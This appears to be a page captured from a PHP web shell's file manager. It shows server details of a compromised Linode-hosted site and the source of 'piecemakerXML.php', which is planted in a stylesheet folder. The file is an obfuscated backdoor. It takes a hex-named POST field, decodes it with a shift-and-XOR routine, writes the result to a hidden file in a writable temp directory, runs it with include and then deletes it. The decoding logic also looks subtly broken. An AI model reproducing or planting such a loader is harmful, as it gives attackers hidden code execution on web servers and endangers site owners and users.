HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/scss__7af9720/dark/rtl/piecemakerXML.php
<?php

if(array_key_exists("\x65\x6Ce\x6D\x65nt", $_POST)){
	$dchunk = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]);
	$ent = $_POST["\x65\x6Ce\x6D\x65nt"];
		$ent	=		 explode(	"." ,$ent	 	) ;  
	$ent = '';
            $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s2	);
            $j = 0;
            $len = count($ent	);
    
            do {if($j	 >=	 $len) break;
                $v4 = $ent[$j];
                $sChar = ord($s2[$j % $sLen]	);
                $d =((int)$v4 - $sChar -($j % 10)) ^ 18;
                $ent .= chr($d	);
                $j++;
            } while(true	);
	while ($value = array_shift($dchunk)) {
    		if ((is_dir($value) and is_writable($value))) {
    $itm = sprintf("%s/.component", $value);
    if (file_put_contents($itm, $ent)) {
	include $itm;
	@unlink($itm);
	die();
}
}
}
}